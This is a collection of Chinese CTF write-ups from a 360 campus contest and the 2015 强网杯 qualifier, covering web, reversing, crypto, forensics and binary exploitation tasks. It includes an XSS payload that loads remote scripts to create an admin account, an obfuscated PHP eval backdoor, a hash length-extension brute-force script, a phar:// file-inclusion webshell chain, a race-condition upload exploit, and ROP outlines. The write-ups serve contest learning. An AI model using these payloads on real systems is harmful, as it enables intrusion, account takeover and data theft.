}    }.  .-..  ...  .  {        .  -.-.  ....  ---   "-.  ---   -.-  .  -.--  -.-.--  ";    }}.  .-..  ...  .  {    .  -.-.  ....  ---   "-.  ---   -.-  .  -.--  -.-.--  ";}..--..  >

可以看到是莫尔斯编码加上了php的一些语法,把莫尔斯编码还原之后就可以得到php代码

GIF89a;
<?php
    $a= "0.1";
    $b= $_GET['b'];
    if($b! = '' )
    {
        if(is_array  ($b))
        {
            echo "nokey!";
            exit;
        }
        else if(!is_numeric ($b ))
        {
            $c   = (int)(($a + $b  ) * 10 );
            if  ($c   == "8" && $b  [10 ] == false )
            {
                echo   "flag ";
            }
            else 
            {
                echo  "nokey ";
                exit  ;
            }
        }
        else {echo  "nokey ";}
    }
    else {echo  "no  ";}
?>

就是要想办法绕过 对is_array和is_numeric的检查,进入flag的分支里
首先是绕过is_array,可以传一个数字进去,但是数字的话又会过不了is_numeric
这里用到的一个trick是 0.7a,在数字之后加上a之类的,变成str的类型,但是经过(int)类型转换之后又会变成0.7
尝试传入b=0.7a,可以本地搭建起来调试,var_dump($c);把$c的结果打印出来发现是7
尝试传入b=0.8a,$c这个时候是9,这个是php的浮点数的精度的问题
传入b=0.75a就可以获得flag了
http://isg.campus.360.cn/web3/?b=0.75a

web160
这题其实是一个xss的题目,因为页面描述说管理员会记录你的一切操作。先打了一发cookie,然后修改cookie。发现直接跳到首页,并没有什么卵用。后面用ajax偷到了页面的源码。通过分析源码发现,有一个添加用户的地方。首先xss的payload

</textarea>'”><script src=http://t.cn/R2CvZvl></script>

然后我们构造一个ajax添加一个账号。

var request = false;
if(window.XMLHttpRequest) {
request = new XMLHttpRequest();
if(request.overrideMimeType) {
request.overrideMimeType('text/xml');
}
}
else if (window.ActiveXObject) {
var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
for(var i=0; i<versions.length; i++) {
try {
request = new ActiveXObject(versions);
} catch(e) {}
}
}
xmlhttp=request;

var url= "/web5/adduser";  
var params ='name=appleu0&pass=ahaha&submit=ok';
xmlhttp.open("POST", url, true);
xmlhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
xmlhttp.setRequestHeader("Content-length", params.length);
xmlhttp.setRequestHeader("Connection", "Keep-Alive");

xmlhttp.send(params)

然后提交

<script src=http://km2.in/360.js></script>
登陆之后成功拿到flag


0x02 re
re40
先查字符串,发现了一个人名和 Congratulations.跟进去看下可以找到核心判断.

前面一个call(call 0x45b330) 是处理输入字符串的奇偶位,生成一个新字符串.
后面一个call(call 0x47e2d0) 是与正确的的字符串比较.

在后面的动态分析中可以找到正确的字符串,然后处理下即可得到flag.
如下图,0012d050的字符串就是最后比较的.

a = '533168596d66594751343451'
b = '74524c71354b575937773d3d'
c = ''
for i in xrange(len(a)):
    c+=a[i]
    c+=b[i]
    i+=1
print c

flag:57343512648c579163d5646b5597457953173747334d531d

re80
这个题目的pdf下载下来360直接报毒,然后打开空白,以前在一个ctf也遇到过。就是找到受影响的adobe reader的版本,然后打开就行了。然后这次就有经验了。先用kali下面的peepdf跑了一发,然后发现是一个cve

然后谷歌cve编号,发现

8.1.2下的版本都受影响。然后在虚拟机里下载了一个adobe reader,然后运行就是直接弹flag了。

0x03 网络协议
网络协议20
下载完数据包之后,然后过滤http请求

然后丢到chrome的console解密



0x04 加解密
加解密10
BHUK,LP TGBNHGYT BHUK,LP UYGBN TGBNHGYT BHUK,LP BHUK,LP TGBNHGYT BHUK,LP TGBNHGYT UYGBN
这个题提示是个键盘有关系的,其实看看也能看出来BHU是连一起的 TGB也是连一起的
只是有一个分割的问题,一开始用,去分割就没有做出来,要用空格来分割,可以得到

BHUK,LP 
BHUK,LP 
TGBNHGYT 
BHUK,LP 
UYGBN 
TGBNHGYT 
BHUK,LP 
BHUK,LP 
TGBNHGYT 
BHUK,LP 
TGBNHGYT 
UYGBN

一共有3类

BHUK,LP
UYGBN
TGBNHGYT

我们尝试在键盘上把他们画出来,记得,也要占一个键位的

BHUK,LP   :N
UYGBN     :C
TGBNHGYT  : B

然后就是按照他的顺序输出flag了
NNBNCBNNBNBC

加解密20
给了一个shell文件,提示是后门的密码就是flag

<?php 
eval(gzinflate(base64_decode("pZLdSsNAEIXvBd+hTmOzMXTbFC3UGhtFEANWlLZES5OgvauoIFho2jy7s7PJhMSIF5Kbb2fPzs+Z7O8ZiYAmhLAFS9bQzhUQIboUPECKiUQDMSFMkYZIZt+U5nFkYijB0Kh0KfCcp+5wlh+6YaO2H9VFbW2BNK8U2iJJoiOk9Pek4q/ZBTwG481T4HeD3mC9vH79en67fb+fjScPM38aOMvL6erEn6xePm+uLj7u1i669I9qAucL4ZSDesQWC9WwHlGxkZRpwW9t1ikrDCRwAE87dtvm7EphlRQd3taC6AwpIjJ4A4XFkhcQ81uhbZcw6EN20a67mHPHxX8Qc+YQP7vyvxQJIHNBa9usUBMcck5d1kNqEVmZl9CDkmNNnsLIFV3IKnsVRT4OOCQJdRNq76Pzbw==")));
>

有这种解eval的特别方便的
使用evalhook方式解密php源代码

在kali下跑跑
php -d extension=evalhook.so shell.php

这个特殊的字符串就是flag了
p4n9_z1_zh3n9_j1u_Sh1_J13

加解密40

NTU2NJC3ODHHYWJIZ3P4ZWY=
其实这是一个变异的base64.我们挨个把字母的大小写跑一遍,然后提取可见字符。

然后第二个flag就是正确的。

0x05 系统
系统20
shellsock的exp打一发

2015 强网杯初赛 writeup

0x00 强网杯解题报告
Team:Syclover
前两周的比赛

0x01 密码
old-fashion 100

Os drnuzearyuwn, y jtkjzoztzoes douwlr oj y ilzwex eq lsdexosa kn pwodw tsozj eq ufyoszlbz yrl rlufydlx pozw douwlrzlbz, ydderxosa ze y rlatfyr jnjzli; mjy gfbmw vla xy wbfnsy symmyew (mjy vrwm qrvvrf), hlbew rd symmyew, mebhsymw rd symmyew, vbomgeyw rd mjy lxrzy, lfk wr dremj. Mjy eyqybzye kyqbhjyew mjy myom xa hyedrevbfn lf bfzyewy wgxwmbmgmbrf. Wr mjy dsln bw f1_2jyf-k3_jg1-vb-vl_l

提示是古典密码,其实这里分成了两句了,以;分隔
http://www.quipqiup.com/index.php
这个网站可以解,分成两段解

In cryptography, a substitution cipher is a method of encoding by which units of plaintext are replaced with ciphertext, according to a regular system; the units may be single letters (the most common), pairs of letters, triplets of letters, mixtures of the above, and so forth. The receiver deciphers the text by performing an inverse substitution. So the flag is n1_2hen-d3_hu1-mi-ma_a

Flag就是n1_2hen-d3_hu1-mi-ma_a

salt 300
读脚本发现url的参数是用字典类型存储的,key相同的参数会被后面的覆盖掉。
于是构造/login?username=admin&password=1&password=123456即可通过第二种验证方式。
但是第二种方式还需要url的mac,而服务器给出的mac会有7位被替换成x,无法直接得到mac。
google后发现此题符合长度扩展攻击的条件,于是枚举mac中的7个x,通过hashpumpy库计算出扩展的mac,和服务器给出的mac对比,即可爆破出正确的mac。
最后需要碰碰运气,当遇到服务器给出第二种验证方式时,发送url和爆出的mac即可得到flag。

#!/usr/bin/python
import socket
import subprocess
import sys
from hashpumpy import hashpump

s = socket.socket()
#s.connect(("127.0.0.1",4444))
s.connect(("119.254.101.197",10004))
s.recv(1024) #welcome info

def gethash(u,p):
    s.recv(1024)  #create count?
    s.send("Y\n")
    s.recv(1024)  #input user:
    s.send(u+"\n")
    s.recv(1024)  #input pass:
    s.send(p+"\n")
    return s.recv(1024) 

index = 0L
def keepalive():
    global index
    print "keepalive:",gethash("123",str(index))
    index += 1

 
#h1  = "194ce5d0b89c47ff6b30bfb491f9dc26"   
h1 = gethash("1","1")[:-1]
l1 = list(h1)
h2 = gethash("1","1\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01`&password=123456&username=admin")[:-1]

def ver():
    global h2
    hashstr = ''.join([i for i in l1])
    ret = hashpump(hashstr,\
    '/login?username=1&password=1',\
    '&password=123456&username=admin',\
    16)
    #ret = ("a"*40,213)  
    sig = ret[0]
    for i in range(40):
        if h2[i] == 'x':continue
        if h2[i] != sig[i]:return False
    print "--------------------"
    print "sig:",sig
    return sig

xnum = 7
progress = 0
def dfs(depth):
    if depth == xnum: 
        global progress
        progress += 1
        if progress & 0x7ffff ==0:
            print progress
            keepalive()
        sig = ver()
        #sig = False
        if sig!=False:
            print s.recv(1024)#create account?
            s.send("n\n")
            ques = s.recv(1024)#input url:
            if ques.find('1')!=-1:
                print "bad luck"
                sys.exit()
            s.send("/login?username=1&password=1\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01`&password=123456&username=admin")
            print s.recv(1024)#input sig:
            s.send(sig)
            print s.recv(1024)#flag
            sys.exit()
        else:
            return 
    pos = l1.index('x')
    for i in range(16):
        l1[pos] = format(i,'x')
        dfs(depth+1)
        l1[pos] = 'x'

def main():
    dfs(0)
    print 'fail :('

if __name__=="__main__":
    main()

0x02 取证与隐写
repartition 200

http://pan.baidu.com/s/1mgKfnDY 提取码: nshy 下下来
file命令 看disk.img这个镜像

disk.img: x86 boot sector; partition 1: ID=0x7, starthead 32, startsector 2048, 276480 sectors; partition 2: ID=0x7, starthead 86, startsector 278528, 337920 sectors, code offset 0x0

我们尝试恢复他丢失的文件,使用的是Eassos PartitionGuru Professional
Disk——open virtual disk——选择我们的img文件 把文件映射成虚拟磁盘
Tools——recover lost file 恢复丢失的文件

在pass这个文件夹发现了有两个文件,尝试提取出来

发现了secret.rar正是那个描述的加密压缩的rar文件
看看secretepass.txt,发现是一些没有意义的字符

看题目的描述就是被大文件覆盖了,我们来winhex来看看这个img
在文件里搜一下Flag.txt 可以找到rar的块
到$MFT里去找找,这里会有分区中的所有文件的记录

往前往后翻翻,就可以发现secretepass.txt的块

http://blog.csdn.net/a00553344/article/details/5039884
这篇文章中有$mft的说明,按着他来就行了

发现了这个,梅花香自苦寒来 是段有意义的
尝试一下,发现正是密码

flag{ch0n9x1n_f3n9u-fu_g41_yebu4nquan}

broken 300

http://match.erangelab.com/dl/broken.img.26c6f34421861784fd0c53f4ce708d99
下载下来是个img的
用linux的file命令看一下,是一个x86 boot sector, mkdosfs boot message display
发现是一个系统,尝试用vm来加载它


启动后发现是这样子的
然后我们使用badcopy来修复一下

发现了有FLAG这个文件,尝试提取出来
Winhex打开可以发现,前8byte都被修改成了00

但是IHDR是PNG格式图片的一个块,可以判断这就是一个png图片,把前8byte先修复了
89504E470D0A1A0A

再看到结尾,发现也没有IEND这个块,也修复了

49454E44AE426082
倒数8byte


图片的IDAT块只有一块,计算一下IDAT的长度可以知道是刚刚好的到IEND的。并没有插入其他的数据在文件结尾。
打开图片看看

发现是这样子的,并没有其他的东西了,可以去看各个颜色通道,也并没有发现什么类似与lsb的东西。
其实秘密藏在了IDAT块之中啊。写了一个python脚本,用来计算IDAT块的内容。

#encoding: utf-8
import zlib
import binascii
import struct

filepath = "./FLAG"
binfile = open(filepath,'rb')
IDAT = binfile.read()[894:-16]
binfile.close()

RGB = binascii.hexlify(zlib.decompress(IDAT))
PIXEL = len(RGB) / 2 / 3   #2:ff=256  3:RGB 
print "pixel:"+str(PIXEL)

height = PIXEL / int("320", 16) #320:width hex
print "height:"+str(height)
print "height hex:"+hex(height)[2:]

height = struct.pack('>i', height)
IHDR = '\x49\x48\x44\x52\x00\x00\x03\x20'+height+'\x08\x02\x00\x00\x00'
print "IHDR:"+IHDR.encode("hex")
CRC32 = hex(binascii.crc32(IHDR) & 0xffffffff)[2:-1]
print "CRC32:"+CRC32


可以看到实际的像数点是360150

是要超过了显示的800*400=320000的
结果计算,假设是只修改了高度,那么我们可以计算出正常的高度应该是450,hex是1c2

尝试着按照IHAR来修改,修改01 90 为01 c2
按照CRC32来修改,把D9479363改为98013a9f


flag{me1_m3ng-x1an9-he_yu3n-f3a9}

这个题的坑点主要就是在于修改了高度居然连crc32的校验也改为正确的,不好发现信息隐藏的地方。

0x03 Web渗透
最好的语言 100

大家都说 PHP 是世界上最好的语言,你也这么认为吗?
服务器请访问 http://119.254.101.197:22230/fca269b68b1efd69dd022764cd1d3ac0/index.php
http://119.254.101.197:22230/fca269b68b1efd69dd022764cd1d3ac0/index.php.bak

<?php

//TODO: connect to DB 

$id = $_GET['id'];

//TODO: sqli filter

$secretId = 1024;
if($id == $secretId){
    echo 'Invalid id ('.$id.').';
}
else{
    $query = 'SELECT * FROM notes WHERE id = \''.$id.'\';';
    $result = mysql_query($query,$conn);
    $row = mysql_fetch_assoc($result);
 
    echo "notes: ".$row['notes']."</br>";
}
?>

应该是PHP和MySQL不同精度的问题,解法:
http://119.254.101.197:22230/fca269b68b1efd69dd022764cd1d3ac0/index.php?id=1024.000000000001

flag{php_is_so_awesome_ever_ever_ever###}

俳句自动打分系统
先上传文件,发现有一枚文件包含漏洞
http://119.254.101.197:22231/13152f79f9264731da9fa16846449d80/index.php?page=[File Include]
读取index.php
http://119.254.101.197:22231/13152f79f9264731da9fa16846449d80/index.php?page=php://filter/read=convert.base64-encode/resource=index

<?php
$p = $_REQUEST['page'];

if($p == "")
{
$p = "main";
}

$haq = "别搞我呀,好好写俳句。我认真的。";

if(strstr($p,"..") !== FALSE)
die("<pre>$haq</pre>");

if(stristr($p,"tp") !== FALSE)
die("<pre>$haq</pre>");

if(stristr($p,"ip") !== FALSE)
die("<pre>$haq</pre>");

if(strlen($p) >= 60)
die("<pre>string > 60
$haq</pre>");

$inc = sprintf("%s.php",$p);
?>
<!DOCTYPE html>
<html lang="en">
  <head>
    <meta charset="utf-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <title>俳句打分</title>

    <!-- Bootstrap -->
    <link href="css/bootstrap.min.css" rel="stylesheet">

    <!-- HTML5 shim and Respond.js for IE8 support of HTML5 elements and media queries -->
    <!-- WARNING: Respond.js doesn't work if you view the page via file:// -->
    <!--[if lt IE 9]>
      <script src="https://oss.maxcdn.com/html5shiv/3.7.2/html5shiv.min.js"></script>
      <script src="https://oss.maxcdn.com/respond/1.4.2/respond.min.js"></script>
    <![endif]-->
  </head>
  <body style="background-color: #00b0c0;">
<center>
<h1>最权威的俳句打分</h1>
<br />
<br />
<br />


<?php
include($inc);
?>


</center>
    <!-- jQuery (necessary for Bootstrap's JavaScript plugins) -->
    <script src="js/jquery.min.js"></script>
    <!-- Include all compiled plugins (below), or include individual files as needed -->
    <script src="js/bootstrap.min.js"></script>
  </body>
</html>

读取view.php

<?php
$txt = $_REQUEST['id'];

if($txt == "" || $txt == "random")
{
$txtname = "already/" . rand(1,14) . ".txt";
}

else $txtname = "upload_paiju/" . $txt . ".txt";

$f = file_get_contents($txtname);

echo '<pre>' . $f . '</pre>';

echo '<pre>我的打分是: ' . (int)md5($f)%100 . '</pre>';

?>

读取upload.php

<?php

function RandomString()
{
    $characters = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";
    $randstring = "";
    for ($i = 0; $i < 16; $i++) {
        $randstring .= $characters[rand(0, strlen($characters)-1)];
    }
    return $randstring;
}

$target_dir = "/usr/share/nginx/html/13152f79f9264731da9fa16846449d80/upload_paiju/";
$target_file = $target_dir . basename($_FILES["fileToUpload"]["name"]);
$uploadOk = 0;
$imageFileType = pathinfo($target_file,PATHINFO_EXTENSION);
$fsize = $_FILES['fileToUpload']['size'];
$newid = RandomString();
$newname = $newid . ".txt";

if(isset($_POST["submit"])) {
    if($imageFileType == "txt") {
        $uploadOk = 1;
    } else {
	echo "<p>ä¸æ˜¯è¯´å¥½çš„åªèƒ½ä¸Šä¼ TXT嘛</p>";
        $uploadOk = 0;
    }

    if(!($fsize >= 0 && $fsize <= 200000)) {
	$uploadOk = 0;
		echo "<p>俳句怎么可能那么大!</p>";
	}

}

if($uploadOk)
{

$newpath = "/usr/share/nginx/html/13152f79f9264731da9fa16846449d80/upload_paiju/" . $newname;

if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $newpath)) {
	 echo "çœ‹çœ‹ä½ çš„ä¿³å¥èƒ½å¾—å¤šå°‘åˆ†ï¼Ÿ <a href='index.php?page=view&id=" . $newid."'>查看</a>";
    } else {
        echo "<p>å‡ºé”™å•¦ï¼Œä½ åœ¨ä¹±æžä»€ä¹ˆå‘€ï¼</p>";
    }

}


?>

可以看出,index.php的文件包含必须是.php的后缀,而我们只能传.txt后缀的文件
这里通过zip/phar/rar等伪协议可以绕过,这里我选了phar://

先通过标准Phar打包

<?php
    $p = new PharData(dirname(__FILE__).'/a.zip', 0,'phartest',Phar::ZIP);
    $p->addFromString('a.php', file_get_contents('shell.txt'));
?>

shell.txt里面是后门代码

上传上去后通过phar协议包含拿到shell
http://119.254.101.197:22231/13152f79f9264731da9fa16846449d80/index.php?page=phar://upload_paiju/lbKyq9AsnruCZ911.txt/a

读取open_basedir

open_basedir: /usr/share/nginx/html/:/tmp/:/srv/

在/srv/目录下找到FLAG文件
FLAG{wo_ceng_jing_kua_guo_shan_he_da_han,ye_chuan_guo_ren_shan_ren_hai}

Tech-Blog
是利用Flask-Blog搭建的博客,一开始猜测是要代码审计,于是就去看commit log,寻找修补漏洞的地方
我在白盒测得时候,队友已经通过黑盒测试找到了一处任意密码重置漏洞,只需要知道用户邮箱就可以重置该用户的密码,那么我们只需要知道admin的邮箱即可
经过各种对强网杯邮箱的猜测都不行,后来发现了“王宇直在找工作”这个提示
王宇直应该就是admin,他在找工作,那么应该就能通过简历找到他邮箱了,然后在国内的找工作的网站上找了找,没什么发现,转向国外的LinkedIN,找到了一个叫王宇直的,而且头像还那么二,上海交大妇产科,必定就是这个家伙了
看了下他的联系方式,找到了下面两个东东

http://straigt_wang.com
http://blog.163.com/straight_wang

用过网易博客的都知道,开通博客的格式 http://blog.163.com/[Username]
那么应该就有 straight_wang@163.com 的邮箱了
去163注册确认了下,这个邮箱是存在的
那么我们通过这个邮箱去重置密码,成功修改了admin的密码

进入后台后,查看Secret,是一个任意文件读取的地方
简单的对Linux进行信息收集,在/etc/hosts里面得到了提示

119.254.101.197 wang-yu-zhi-de-guan-li-hou-tai #port 22234

修改本地hosts,访问目标,是一个秘密后台,有一处任意文件包含漏洞,可以直接获取源码

?page=php://filter/read=convert.base64-encode/resource=main.php

通过该漏洞读取到了main.php 和 upload.php的源代码
然而不能下载 index.php 的,但是目标系统是Windows,利用 index.ph< 下载即可
审计源码,构造表单上传文件
然而上传上去后就会立即删除掉,猜测要利用时间竞争,利用脚本如下
exp.py

#!/usr/bin/python
# -*- coding: utf-8 -*-

import socket, re, time
import urllib2

host = "119.254.101.197"
port = 22234

def send():
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.settimeout(8)
    s.connect((host, port))
    time.sleep(0.2)
    data = open('exp').read()
    s.send(data)
    time.sleep(0.2)
    resp = s.recv(8192)
    s.close()
     
    return resp

print send()

while True:
    resp = send()
    url = re.findall(r'uploads/(.*)<', resp)[0]
    url = "http://wang-yu-zhi-de-guan-li-hou-tai:22234/?x=c:/inetpub/&page=upload</" + url
    print url
    print urllib2.urlopen(url).read()
    time.sleep(3)

exp:

POST /index.php?page=upload.php HTTP/1.1
Host: wang-yu-zhi-de-guan-li-hou-tai:22234
User-Agent: wonderful_and_secret_brower_ever
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://wang-yu-zhi-de-guan-li-hou-tai:22234/?page=main.ph%3C
Connection: keep-alive
Cache-Control: max-age=0
Content-Type: multipart/form-data; boundary=---------------------------1470534513268
Content-Length: 903

-----------------------------1470534513268
Content-Disposition: form-data; name="fileToUpload"; filename="lala.txt"
Content-Type: text/plain

<?php 
function dir_path($path) { 
	$path = str_replace('\\', '/', $path); 
	if (substr($path, -1) != '/') $path = $path . '/'; 
	return $path; 
} 

function dir_list($path, $exts = '', $list = array()) {
	$path = dir_path($path); 
	$files = glob($path . '*');
	foreach($files as $v) {
		if (!$exts || preg_match("/\.($exts)/i", $v)) {
			$list[] = $v;
			if (is_dir($v)) { 
				$list = dir_list($v, $exts, $list); 
			}
		} 
	} 
	return $list; 
}

$r = dir_list($_GET['x']); 
printf("<pre>%s</pre>\n", var_export($r , true)); 
echo file_get_cotents("c:/inetpub/temp/Are_you_OK");
?> 
-----------------------------1470534513268
Content-Disposition: form-data; name="submit"

Upload
-----------------------------1470534513268--

通过不断的列目录,找到一个可疑的文件:C:/inetpub/temp/Are_you_OK
通过包含漏洞读取该文件,拿到Flag

0x04 逆向工程
flag-checker 100
观察后发现题目给的等式是有规律的,可以按照a0 a1…a46的顺序依次计算,每次计算都是一个一元一次方程。依次解出即可得到flag

#!/usr/bin/python
from sympy import Symbol
from sympy.solvers import solve

a = []

def main():
    for i in range(50):
        exec("a"+str(i)+"=Symbol('a"+str(i)+"')")
        a.append(Symbol("a"+str(i)))
    f = open("2.txt","r")
    i = 0
    for ln in f:
        if len(ln)<4:continue
        n = ln[:-2]
        n = n.replace("=","-(")
        n += ')'
        n = n.replace('[','')
        n = n.replace(']','')
        #print n 
        exec("eq = "+n)
        ans = solve(eq,a[i])[0]
        exec("a"+str(i)+"=ans")
        if ans>128 or ans<15:
            print chr(ans%128),
        else:
           print chr(ans%128),
        i += 1

if __name__=="__main__":
    main()

keygen 200

原始字符串改变顺序存放


在下面这个表中遍历,如果是字符的数字就是直接赋值,如果是非字符,就用v16对应下标的字符,得到一个新字符串

; char byte_6018E0[]
.data:00000000006018E0 byte_6018E0     db 2                    ; DATA XREF: sub_400B56+1BEr
.data:00000000006018E0                                         ; sub_400B56+1D8r ...
.data:00000000006018E1                 db  34h ; 4
.data:00000000006018E2                 db    5
.data:00000000006018E3                 db  33h ; 3
.data:00000000006018E4                 db    6
.data:00000000006018E5                 db  39h ; 9
.data:00000000006018E6                 db    0
.data:00000000006018E7                 db  31h ; 1
.data:00000000006018E8                 db    1
.data:00000000006018E9                 db  37h ; 7
.data:00000000006018EA                 db    3
.data:00000000006018EB                 db  32h ; 2
.data:00000000006018EC                 db    4
.data:00000000006018ED                 db  30h ; 0
.data:00000000006018EE                 db    7
.data:00000000006018EF                 db  32h ; 2

新字符串求MD5,得到的MD5字符串中每一位转换成对应ascii码10进制数字,并删除所有0

原字符串中第4、9、14、19是’-‘

得到的字符串中5-12位与原字符串中15 12 18 0 6 8 5 3位比较验证,最后计算得到5234-5171-901b-5de5-hijk是一个可以通过验证的,修改最后4位可以得到9个不同的sn

0x05 溢出利用
guess 100

程序使用了scanf(“%s”,…),比较明显的栈溢出来,可以在4次比较正确后成功控制栈。输入后面可以加\x00来控制正确的比较以及构建后面的ret2read_file。

中间可以用最后一个scanf来作为传入参数的设置。参数地址固定在0x0804a100

urldecoder 200
溢出点:前面的sub_8048720输入是0xa作为结尾的,在sub_8048800的strlen()是以0x00来判断结尾的,其中可以通过%来控制处理字符串的指针。 构造一个”%\x00″ 这样来绕过for循环的判断就可以溢出栈了。
sub_8048720

sub_8048800

之后就是构造rop链了。
gadget1:用puts随意泄露一个函数的地址可以算出基地址,重新回到0x080485f0再一次控制栈.
gadget2:用gets向可写地址写入”sh”,然后返回system来拿到shell.